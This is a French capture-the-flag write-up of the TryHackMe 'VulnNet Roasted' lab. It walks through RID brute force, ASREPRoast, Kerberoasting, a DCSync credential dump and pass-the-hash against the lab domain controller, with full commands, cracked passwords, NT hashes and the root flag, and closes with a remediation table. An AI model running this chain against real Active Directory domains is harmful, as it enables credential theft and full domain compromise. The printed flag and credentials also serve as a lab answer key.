ZNote Logo
ZNote
Labs PentesteasyTryHackMe
29-07-2026
14 min

Lab VulnNet Roasted : RID Brute Force, ASREPRoast et Kerberoasting en Chaîne jusqu'au DCSync

Pentest black-box d'un contrôleur de domaine Active Directory : énumération SMB en session guest, RID Brute Force pour lister les comptes, collecte d'identités via des partages anonymes, ASREPRoast puis Kerberoasting en chaîne pour pivoter entre trois comptes, découverte de credentials dans un script NETLOGON, et élévation finale à l'Administrateur du domaine via DCSync et Pass-the-Hash.

Active Directory
RID Brute Force
ASREP Roasting
Kerberoasting
DCSync
Pass-the-Hash
Evil-WinRM
TryHackMe
Windows
Pentest

Contexte et Objectifs

ChampDétail
PlateformeTryHackMe
LienAccéder au lab
CibleWIN-2BO8M1OE1M1.vulnnet-rst.local, 10.112.165.89
OSWindows 10 / Server 2019 (Build 17763)
Domainevulnnet-rst.local
DifficultéFacile

Scénario : VulnNet Entertainment vient de déployer une nouvelle instance sur son réseau, administrée par des sysadmins fraîchement recrutés. L'entreprise, soucieuse de sa sécurité, mandate un test d'intrusion pour évaluer la qualité de cette administration. Le lab est annoncé comme volontairement simple, à résoudre avec une méthodologie standard.

Kill chain :

Sortie
Accès réseau sans credentials
        │
        ▼
SMB guest → partages anonymes + RID Brute Force → 8 comptes + identités
        │
        ▼
ASREPRoast → t-skid sans pré-auth → hash cracké → tj072889*
        │
        ▼
Kerberoasting avec t-skid → SPN CIFS sur enterprise-core-vn → hash cracké
        │
        ▼
Evil-WinRM (enterprise-core-vn) → Flag user
        │
        ▼
Partage NETLOGON → ResetPassword.vbs → credentials a-whitehat (Domain Admin)
        │
        ▼
DCSync (secretsdump) → hash NT Administrator → Pass-the-Hash → Flag root

1. Reconnaissance

Commande
bash
rustscan -b 500 -a 10.112.165.89 -- -sC -sV -Pn

Output :

Sortie
PORT      STATE SERVICE      REASON          VERSION
53/tcp    open  domain       syn-ack ttl 126 Simple DNS Plus
88/tcp    open  kerberos-sec syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-07-29 14:10:50Z)
135/tcp   open  msrpc        syn-ack ttl 126 Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp   open  ldap         syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local)
464/tcp   open  kpasswd5?    syn-ack ttl 126
593/tcp   open  ncacn_http   syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped   syn-ack ttl 126
3268/tcp  open  ldap         syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local)
3269/tcp  open  tcpwrapped   syn-ack ttl 126
5985/tcp  open  http         syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf       syn-ack ttl 126 .NET Message Framing
49666/tcp open  msrpc        syn-ack ttl 126 Microsoft Windows RPC
[...]
Service Info: Host: WIN-2BO8M1OE1M1; OS: Windows; CPE: cpe:/o:microsoft:windows

Analyse :

La combinaison DNS (53), Kerberos (88), LDAP (389/3268), SMB (139/445 implicite), kpasswd (464) et RPC over HTTP (593) est la signature classique d'un contrôleur de domaine Active Directory. Le nom de domaine vulnnet-rst.local et le nom NetBIOS de la machine WIN-2BO8M1OE1M1 sont directement révélés par les bannières de service, sans avoir besoin de credentials.

Le port 5985 (WinRM) est ouvert : si des credentials valides sont obtenus, un shell distant via Evil-WinRM sera possible sans dépendre d'un exploit.

On génère un fichier de résolution DNS locale directement avec NetExec :

Commande
bash
nxc smb 10.112.165.89 -u '' -p '' --generate-hosts-file hosts --smb-timeout 30
Sortie
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  [+] vulnnet-rst.local\:
Commande
bash
cat hosts
Sortie
10.112.165.89     WIN-2BO8M1OE1M1.vulnnet-rst.local vulnnet-rst.local WIN-2BO8M1OE1M1

Un détail important apparaît déjà dans la sortie : (Null Auth:True). La session anonyme (null session) est acceptée par la machine. Reste à voir jusqu'où elle permet d'énumérer.


2. Énumération de Base : Partages et Utilisateurs

Les Partages

On commence par tester la connexion anonyme pure, puis la connexion en tant qu'invité (guest), qui est un compte réel bien que non privilégié :

Commande
bash
nxc smb 10.112.165.89 -u '' -p '' --shares --smb-timeout 30
Sortie
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  [+] vulnnet-rst.local\:
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  [-] Error enumerating shares: STATUS_ACCESS_DENIED
Commande
bash
nxc smb 10.112.165.89 -u 'guest' -p '' --shares --smb-timeout 30
Sortie
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  [+] vulnnet-rst.local\guest:
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  [*] Enumerated shares
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  Share                          Permissions   Remark
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  -----                          -----------   ------
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  ADMIN$                                       Remote Admin
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  C$                                           Default share
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  IPC$                           READ          Remote IPC
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  NETLOGON                                     Logon server share
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  SYSVOL                                       Logon server share
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  VulnNet-Business-Anonymous     READ          VulnNet Business Sharing
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  VulnNet-Enterprise-Anonymous   READ          VulnNet Enterprise Sharing

Différence null vs guest : la session null s'ouvre (le pipe IPC$ répond), mais n'a pas le droit d'énumérer les partages (STATUS_ACCESS_DENIED). Le compte guest, lui, est un compte de domaine réel activé sans mot de passe, et hérite de droits d'énumération plus larges.

On repère surtout deux partages non standard en lecture : VulnNet-Business-Anonymous et VulnNet-Enterprise-Anonymous. Ce sont les premières pistes à explorer.

Les Utilisateurs

Commande
bash
nxc smb vulnnet-rst.local -u 'guest' -p '' --users --smb-timeout 30
Sortie
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  [+] vulnnet-rst.local\guest:

Le flag --users ne retourne rien : la session invité n'a pas le droit d'appeler SAMR EnumDomainUsers. On passe au RID Brute Force, une technique différente qui ne nécessite pas ce droit spécifique.

Commande
bash
nxc smb vulnnet-rst.local -u 'guest' -p '' --rid-brute --smb-timeout 30 > rid.txt
Sortie
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  500: VULNNET-RST\Administrator (SidTypeUser)
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  501: VULNNET-RST\Guest (SidTypeUser)
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  502: VULNNET-RST\krbtgt (SidTypeUser)
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  512: VULNNET-RST\Domain Admins (SidTypeGroup)
[...]
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  1104: VULNNET-RST\enterprise-core-vn (SidTypeUser)
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  1105: VULNNET-RST\a-whitehat (SidTypeUser)
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  1109: VULNNET-RST\t-skid (SidTypeUser)
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  1110: VULNNET-RST\j-goldenhand (SidTypeUser)
SMB  10.112.165.89  445  WIN-2BO8M1OE1M1  1111: VULNNET-RST\j-leet (SidTypeUser)

On nettoie la sortie pour ne garder que les comptes utilisateurs exploitables (on écarte le compte machine WIN-2BO8M1OE1M1$, les comptes built-in inutiles pour l'attaque, et krbtgt) :

Commande
bash
# On garde que les utilisateurs (on retire les groupes et les alias)
grep "SidTypeUser" rid.txt | awk -F'\\' '{print $2}' > dump_users.txt

# On retire les comptes machines ($) des utilisateurs
grep -v '\$' dump_users.txt | awk '{print $1}' > users.txt

# On affiche les utilisateurs
cat users.txt
Sortie
Administrator
Guest
krbtgt
enterprise-core-vn
a-whitehat
t-skid
j-goldenhand
j-leet

Cette liste de huit comptes va servir de base à toutes les attaques Kerberos suivantes.


3. Exploration des Partages Anonymes

Deux pistes s'offrent ici : lancer directement un ASREPRoast sur users.txt, ou d'abord fouiller les partages en lecture pour glaner du contexte. On choisit la seconde option, car les noms VulnNet-Business-Anonymous et VulnNet-Enterprise-Anonymous sont clairement volontaires de la part des créateurs du lab.

VulnNet-Enterprise-Anonymous

Commande
bash
smbclient //vulnnet-rst.local/VulnNet-Enterprise-Anonymous -U guest%''
Sortie
smb: \> mget *
Get file Enterprise-Operations.txt? yes
Get file Enterprise-Safety.txt? yes
Get file Enterprise-Sync.txt? yes
Commande
bash
cat Enterprise-Safety.txt
Sortie
VULNNET SAFETY
~~~~~~~~~~~~~~~~

Tony Skid is a core security manager and takes care of internal infrastructure.
We keep your data safe and private. [...] we've got it locked down tighter than Alcatraz.
We partner with TryHackMe, use 128-bit SSL encryption, and create daily backups.
Commande
bash
cat Enterprise-Sync.txt
Sortie
VULNNET SYNC
~~~~~~~~~~~~~~

Johnny Leet keeps the whole infrastructure up to date and helps you sync all of your apps.
[...] To contact our sync manager call this number: 7331 0000 1337

Ces fichiers, sous couvert de contenu marketing, exposent en réalité une cartographie humaine de l'organisation : Tony Skid est le responsable sécurité et infrastructure interne, Johnny Leet gère la synchronisation applicative. Le premier fichier (Enterprise-Operations.txt) ne contient qu'un texte générique sans nom exploitable.

VulnNet-Business-Anonymous

Commande
bash
smbclient //vulnnet-rst.local/VulnNet-Business-Anonymous -U guest%''
Commande
bash
cat Business-Manager.txt
Sortie
VULNNET BUSINESS
~~~~~~~~~~~~~~~~~~~

Alexa Whitehat is our core business manager. All business-related offers, campaigns,
and advertisements should be directed to her. [...]
To contact our core business manager call this number: 1337 0000 7331
Commande
bash
cat Business-Sections.txt
Sortie
VULNNET BUSINESS
~~~~~~~~~~~~~~~~~~~

Jack Goldenhand is the person you should reach to for any business unrelated proposals.

On obtient ici Alexa Whitehat (responsable business) et Jack Goldenhand (gestion des propositions). Combiné au RID brute force, on peut désormais faire correspondre chaque login technique à une identité et un rôle :

LoginIdentitéRôle
t-skidTony SkidResponsable sécurité / infra interne
j-leetJohnny LeetSynchronisation applicative
a-whitehatAlexa WhitehatBusiness manager
j-goldenhandJack GoldenhandPropositions commerciales
enterprise-core-vnN/ACompte de service (probable)

Aucun mot de passe n'est exposé directement dans ces fichiers. L'exploration des partages n'a donc pas donné d'accès immédiat, mais elle confirme des cibles humaines prioritaires pour les attaques Kerberos suivantes, en particulier t-skid, identifié comme responsable sécurité.


4. ASREPRoast

Référence : Kerberos AS-REP Roasting - HackTricks

Exploitation

Commande
bash
impacket-GetNPUsers vulnnet-rst.local/ -usersfile users.txt -format hashcat -dc-ip 10.112.165.89 -outputfile ASREProastables.txt
Sortie
$krb5asrep$23$t-skid@VULNNET-RST.LOCAL:3eae50a3427688f717440cea16338001$4b01b60afa5935ee2b5fd045de295483e14c3bc852bf16042e507006de2f6b6...

Tony Skid (t-skid) est vulnérable : c'est le seul compte de la liste sans pré-authentification requise.

Cassage avec Hashcat

Commande
bash
hashcat -m 18200 -a 0 ASREProastables.txt /usr/share/wordlists/rockyou.txt
Sortie
$krb5asrep$23$t-skid@VULNNET-RST.LOCAL:[...]:tj072889*

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)

Premier compte compromis :

Sortie
t-skid : tj072889*

5. Kerberoasting

Référence : Kerberoasting - HackTricks

Exploitation

Commande
bash
impacket-GetUserSPNs vulnnet-rst.local/t-skid:'tj072889*' -dc-ip 10.112.165.89 -outputfile kerberoastables.txt
Sortie
ServicePrincipalName    Name                MemberOf                                                       PasswordLastSet             LastLogon
----------------------  ------------------  -------------------------------------------------------------  --------------------------  --------------------------
CIFS/vulnnet-rst.local  enterprise-core-vn  CN=Remote Management Users,CN=Builtin,DC=vulnnet-rst,DC=local  2021-03-11 20:45:09.913979  2021-03-14 00:41:17.987528

Un seul compte porte un SPN : enterprise-core-vn, avec un SPN CIFS/vulnnet-rst.local, et surtout, il est membre du groupe Remote Management Users, ce qui signifie qu'il peut se connecter via WinRM une fois son mot de passe cassé.

Cassage avec Hashcat

Commande
bash
hashcat -m 13100 -a 0 kerberoastables.txt /usr/share/wordlists/rockyou.txt
Sortie
$krb5tgs$23$*enterprise-core-vn$VULNNET-RST.LOCAL$vulnnet-rst.local/enterprise-core-vn*[...]:ry=ibfkfv,s6h,

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)

Deuxième compte compromis :

Sortie
enterprise-core-vn : ry=ibfkfv,s6h,

6. Accès WinRM en tant que enterprise-core-vn

Avant de se connecter, on confirme l'appartenance au groupe Remote Management Users via une requête LDAP directe :

Commande
bash
ldapsearch -x -H ldap://10.112.151.125 -D "enterprise-core-vn@vulnnet-rst.local" -w 'ry=ibfkfv,s6h,' -b "DC=vulnnet-rst,DC=local" "(sAMAccountName=enterprise-core-vn)"

Résultat ldapsearch confirmant le groupe Remote Management Users

Le groupe est confirmé. On se connecte directement via Evil-WinRM :

Commande
bash
evil-winrm -u enterprise-core-vn -i vulnnet-rst.local -p 'ry=ibfkfv,s6h,'

Connexion Evil-WinRM réussie en tant que enterprise-core-vn

Flag Utilisateur

Le flag est vraisemblablement sur le bureau de l'utilisateur courant, on va le récupérer avant de poursuivre l'escalade :

Flag utilisateur récupéré sur le bureau


7. Impasse : PrivescCheck et BloodHound

Énumération Locale Automatisée

Après une revue manuelle infructueuse des vecteurs de privesc classiques (services mal configurés, tâches planifiées, fichiers de configuration), on lance PrivescCheck pour une couverture plus large. Aucun résultat exploitable n'en ressort.

Cartographie BloodHound

On lance une collecte BloodHound depuis le compte enterprise-core-vn afin de vérifier si un chemin d'attaque basé sur les ACL du domaine existe vers un compte plus privilégié.

Comptes administrateurs identifiés dans BloodHound

On sait déjà qu'il n'y a que deux comptes administrateurs dans ce domaine. On lance une analyse "Shortest Path from Owned Objects" :

Aucun chemin exploitable trouvé depuis le compte possédé

Résultat : aucun chemin exploitable. L'énumération BloodHound se révèle ici infructueuse, on décide de revenir à une approche plus manuelle : l'exploration exhaustive des partages SMB par défaut, qu'on n'avait pas encore couverts (IPC$, SYSVOL, NETLOGON), cette fois avec des credentials valides.


8. Exploration des Partages par Défaut

L'exploration de IPC$ et SYSVOL ne remonte rien de pertinent. Mais dans NETLOGON, un fichier attire l'attention :

Commande
bash
smbclient //vulnnet-rst.local/NETLOGON -U enterprise-core-vn%'ry=ibfkfv,s6h,'
Sortie
smb: \> ls
  ResetPassword.vbs                   A     2821  Wed Mar 17 00:18:14 2021
smb: \> get ResetPassword.vbs

Le partage NETLOGON est répliqué sur tous les contrôleurs de domaine et sert normalement à distribuer des scripts de connexion (logon scripts) aux postes clients. Trouver un script de réinitialisation de mot de passe peut révéler des credentials en dur.

En ouvrant le fichier, on découvre effectivement les identifiants d'Alexa Whitehat, la responsable business identifiée plus tôt. Membre du groupe Domain Admins :

Credentials d'Alexa Whitehat trouvés dans ResetPassword.vbs

Sortie
a-whitehat : bNdKVkjv3RR9ht

Validation des Credentials

Commande
bash
nxc smb vulnnet-rst.local -u 'a-whitehat' -p 'bNdKVkjv3RR9ht' --shares --smb-timeout 30
Sortie
SMB  10.113.129.215  445  WIN-2BO8M1OE1M1  [+] vulnnet-rst.local\a-whitehat:bNdKVkjv3RR9ht (Pwn3d!)
SMB  10.113.129.215  445  WIN-2BO8M1OE1M1  Share            Permissions     Remark
SMB  10.113.129.215  445  WIN-2BO8M1OE1M1  ADMIN$           READ,WRITE      Remote Admin
SMB  10.113.129.215  445  WIN-2BO8M1OE1M1  C$               READ,WRITE      Default share
SMB  10.113.129.215  445  WIN-2BO8M1OE1M1  NETLOGON         READ,WRITE      Logon server share
SMB  10.113.129.215  445  WIN-2BO8M1OE1M1  SYSVOL           READ,WRITE      Logon server share
SMB  10.113.129.215  445  WIN-2BO8M1OE1M1  VulnNet-Business-Anonymous     READ
SMB  10.113.129.215  445  WIN-2BO8M1OE1M1  VulnNet-Enterprise-Anonymous   READ

Le tag (Pwn3d!) affiché par NetExec confirme que ce compte dispose de droits d'administration : accès en écriture sur ADMIN$ et C$, ce qui signifie qu'il fait partie du groupe local Administrators de la machine.

Troisième compte compromis, cette fois administrateur local :

Sortie
a-whitehat : bNdKVkjv3RR9ht

9. Tentative d'Accès Direct au Flag Root

Étant administrateur, a-whitehat devrait aussi appartenir au groupe des Remote Management Users. On tente une connexion WinRM directe :

Commande
bash
evil-winrm -u a-whitehat -i 10.113.129.215 -p 'bNdKVkjv3RR9ht'
Sortie
*Evil-WinRM* PS C:\Users\a-whitehat\Documents> cd C:\Users\Administrator\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type system.txt
Access to the path 'C:\Users\Administrator\Desktop\system.txt' is denied.
    + CategoryInfo          : PermissionDenied: (C:\Users\Admini...ktop\system.txt:String) [Get-Content], UnauthorizedAccessException
*Evil-WinRM* PS C:\Users\Administrator\Desktop> whoami
vulnnet-rst\a-whitehat

L'accès est refusé malgré l'appartenance à Domain Admins. La cause est le filtrage UAC à distance (LocalAccountTokenFilterPolicy) : via WinRM, Windows attribue de force un jeton standard filtré à tous les comptes d'administration, à l'exception du compte Administrator intégré (RID 500). Le cd fonctionne car les permissions NTFS par défaut autorisent la navigation (Traverse Folder) pour le groupe Administrators, mais la lecture du fichier exige le jeton d'administration complet, qui est filtré.

L'option la plus directe est de récupérer le hash NT du compte Administrator lui-même via DCSync, puis de s'authentifier directement en tant que lui.


10. DCSync et Élévation Finale

Exploitation

Commande
bash
impacket-secretsdump -just-dc 'vulnnet-rst.local/a-whitehat:bNdKVkjv3RR9ht@10.113.129.215' -dc-ip 10.113.129.215
Sortie
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7633f01273fc92450b429d6067d1ca32:::
vulnnet-rst.local\enterprise-core-vn:1104:aad3b435b51404eeaad3b435b51404ee:8752ed9e26e6823754dce673de76ddaf:::
vulnnet-rst.local\a-whitehat:1105:aad3b435b51404eeaad3b435b51404ee:1bd408897141aa076d62e9bfc1a5956b:::
vulnnet-rst.local\t-skid:1109:aad3b435b51404eeaad3b435b51404ee:49840e8a32937578f8c55fdca55ac60b:::
vulnnet-rst.local\j-goldenhand:1110:aad3b435b51404eeaad3b435b51404ee:1b1565ec2b57b756b912b5dc36bc272a:::
vulnnet-rst.local\j-leet:1111:aad3b435b51404eeaad3b435b51404ee:605e5542d42ea181adeca1471027e022:::

La vraie faille ici est qu'un compte business (a-whitehat) soit membre de Domain Admins : cette appartenance lui confère automatiquement les droits de réplication (DCSync) sur le domaine, sans qu'aucune ACL explicite n'ait besoin d'être posée.

Hash NT de l'Administrateur du domaine :

Sortie
Administrator:c2597747aa5e43022a3a3049a3c3b09d

Pass-the-Hash et Récupération du Flag Root

Commande
bash
evil-winrm -u Administrator -i 10.113.129.215 -H c2597747aa5e43022a3a3049a3c3b09d
Sortie
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\system.txt
THM{16f45e3934293a57645f8d7bf71d8d4c}

Flag root récupéré. Compromission complète du domaine.


11. Conclusion et Remédiation

Kill Chain Complète

Sortie
1. RustScan            → WIN-2BO8M1OE1M1.vulnnet-rst.local, DC Windows, WinRM ouvert
2. SMB null vs guest    → guest énumère partages + RID Brute Force → 8 comptes
3. Partages anonymes    → identités : Tony Skid, Johnny Leet, Alexa Whitehat, Jack Goldenhand
4. ASREPRoast           → t-skid sans pré-auth → hash cracké → tj072889*
5. Kerberoasting        → SPN CIFS sur enterprise-core-vn → hash cracké
6. Evil-WinRM           → enterprise-core-vn (Remote Management Users) → Flag user
7. PrivescCheck/BloodHound → aucun chemin d'escalade exploitable
8. Partage NETLOGON     → ResetPassword.vbs → credentials a-whitehat (Domain Admin)
9. Lecture directe      → refusée (ACL NTFS spécifique à Administrator)
10. DCSync              → hash NT Administrator via appartenance Domain Admins
11. Pass-the-Hash       → Administrator → Flag root

Remédiation

VecteurProblèmeRemédiation
Session guest activéeLe compte invité, actif et sans mot de passe, permet l'énumération des partages et du RIDDésactiver le compte Guest au niveau du domaine (Get-ADUser Guest | Disable-ADAccount) et restreindre RestrictAnonymous/RestrictAnonymousSAM
Partages anonymes en lectureDes fichiers texte accessibles sans authentification exposent l'organigramme interneRetirer les droits Everyone/Guest sur les partages métiers ; ne jamais publier de données organisationnelles sur des partages non authentifiés
ASREPRoast sur t-skidLa pré-authentification Kerberos est désactivée sur un compte à privilègesActiver la pré-authentification sur tous les comptes ; auditer avec Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
Mot de passe faible (rockyou)tj072889* et ry=ibfkfv,s6h, sont cassables en quelques secondes avec une wordlist standardImposer une politique de mots de passe forts (16+ caractères) et bloquer les mots de passe compromis via Azure AD Password Protection ou équivalent on-prem
Kerberoasting sur un compte de serviceenterprise-core-vn porte un SPN avec un mot de passe faibleUtiliser des gMSA (Group Managed Service Accounts) avec rotation automatique pour tout compte de service porteur de SPN
Credentials en dur dans NETLOGONResetPassword.vbs contient les identifiants d'un compte administrateur en clairNe jamais stocker de secrets dans des scripts de logon répliqués sur tous les DC. Utiliser un coffre de secrets (gMSA, LAPS, Vault) et journaliser les accès
Compte business dans Domain Adminsa-whitehat, un compte métier, est membre de Domain Admins, ce qui lui confère automatiquement DCSyncAppliquer le principe du moindre privilège : aucun compte métier dans Domain Admins. Utiliser des comptes d'administration dédiés (tiering) et auditer régulièrement les membres des groupes privilégiés
Pass-the-Hash possibleL'authentification NTLM est acceptée sur WinRMActiver le groupe Protected Users pour les comptes sensibles, privilégier Kerberos-only et désactiver NTLM via GPO

[!NOTE] Ce lab illustre un scénario très représentatif d'un environnement AD réel : aucune vulnérabilité n'est à elle seule suffisante, mais leur enchaînement, session guest active, informations organisationnelles exposées, deux comptes roastables, un script de logon avec des credentials en dur, et des droits DCSync mal attribués permet une compromission complète du domaine sans jamais exploiter de CVE. C'est la combinaison de petites erreurs de configuration, chacune anodine prise isolément, qui construit la kill chain.


Writeup rédigé par Zcook